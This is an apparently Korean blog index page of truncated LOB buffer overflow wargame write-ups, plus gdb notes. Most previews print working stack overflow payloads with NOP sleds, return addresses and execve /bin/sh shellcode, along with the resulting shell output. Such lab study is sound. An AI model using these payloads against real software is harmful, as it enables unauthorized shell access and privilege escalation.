Wargame/LOB(끝) (23) 썸네일형 리스트형 wolfman -> darkelf argv[1] 의 길이체크 및 버퍼 초기화.새로운 인자값을 줌으로서 argv[2] 로 넘어간다.darkelf 소스코드에서 argv[2] 의 주소를 출력하는 코드를 추가하고.그 주소를 바탕으로 RET를 돌리면 쉘을 획득할 수 있다. [wolfman@localhost tmp]$ ls copyelf darkelf darkelf.c [wolfman@localhost tmp]$ ./copyelf `python -c 'print "\x90"*44 + "\xbf"*4 +" "+ "\x90"*1000'` argv[2] = 0xbffff85a ������������������������������������������������ Segmentation fault (core dumped) [wolfman@localhost.. orc -> wolfman buffer 를 초기화 시키는 게 추가됨.일단 버퍼 + SFP + RET + NOP + SHELLCODE방식으로 버퍼에 넣는것이 아닌, RET 뒤에 NOP 슬라이드와 쉘코드를 넣어야 할듯. 중요한건 bash2 로 해야한다는것bash 는 \xff 를 다르게 인식함. [orc@localhost orc]$ ./wolfman `python -c 'print"\x90"*44 + "\x2c\xfc\xff\xbf" + "\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`��������������������������������������������,������.. goblin -> orc 환경변수를 이용할 수 없게 extern char **environ 을 이용해 for(i=0;environ[i];i++)memset(environ[i],0,strlen(environ[i])); 으로 환경변수를 초기화 시켜버린다.그 후 argv[1][47] (RET의 끝부분) 이 "\xbf" 가 아니면 종료시켜버린다.아마 스택을 이용하라는 뜻같다. 스택에 쉘코드를 넣고, 스택 내부로 RET를 돌릴 것이다.우리가 이용할 수 있는 크기는 44 므로,NOP(12) + SHELLCODE(25) + NOP(7) = 44 로 짰다. [goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*12 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\.. cobolt -> goblin 환경변수에 쉘코드를 등록해놓고 Ret 를 환경변수로 돌리는 방식으로 풀었다.이 때, 약간 주의해야 할 점은1. 환경변수 앞에 NOP를 많이 넣을 것.2. RET 에 정확한 환경변수 주소값을 넣지 말고, 약간 주소를 더한 값을 넣을 것. 환경변수 이름의 길이에 따라 주소값이 밀릴 수 있어, 약간 밀린 주소를 써주는 것이 NOP 슬라이드를 타게하는데 용이하다. [cobolt@localhost cobolt]$ (python -c 'print "\x90"*20 + "\x40\x86\xff\xbf"'; cat) | ./goblin ��������������������@��� iduid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502.. gremlin -> cobolt 버퍼에 쉘코드를 넣을 만큼의 충분한 공간이 없으므로, 쉘코드를 RET 뒤에 넣기로 했다. "\x90"*20 + RET(4) + "\x90"*200 + SHELLCODE(25) PAYLOAD./cobolt `python -c 'print "\x90"*20 + [NOP 슬라이드 주소] + "\x90"*200 + SHELLCODE'` hacking exposed Stack Frame Pointer Overflow -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ::: Stack Frame Pointer Overflow 개념 이해하기 ::: written by naska21 in WiseGuys -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- :: 목차 :: 0x00. 준비하기 0x01. 이해하기 0x02. 마무리 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 0x00. 준비하기 이 문서를 공부 하기 이전에 이 문서를 읽는 사람에겐 스택에 관한 배경 지식.. gate -> gremlin (gdb 기초 사용법) 기초 gdb 사용법 메모리 조회 x/[범위][출력형식][범위의 단위] [메모리 주소나 함수명]범위 : 기본 4byte 출력형식t : 2진수 o : 8진수 d : 부호없는 10진수 u : 부호없는 10진수 x : 16진수 (주로 이걸 사용할 듯) c : 최초 1바이트 값을 문자형으로 출력 f : 부동소수점 a : 가장 가까운 심볼의 오프셋을 출력 s : 문자열로 출력 i : 어셈블리 형식으로 출력범위의 단위b : 1 byte 단위 h : 2 byte 단위w : 4 byte 단위g : 8 byte 단위 Ex)x/200x $esp : esp 주소로 부터 16진수로 200바이트 만큼 보기 브레이크 포인트break func : func 함수의 시작부분에 브레이크 포인트 설정 break 10 10번째 줄에 브레이크.. 이전 1 2 3 다음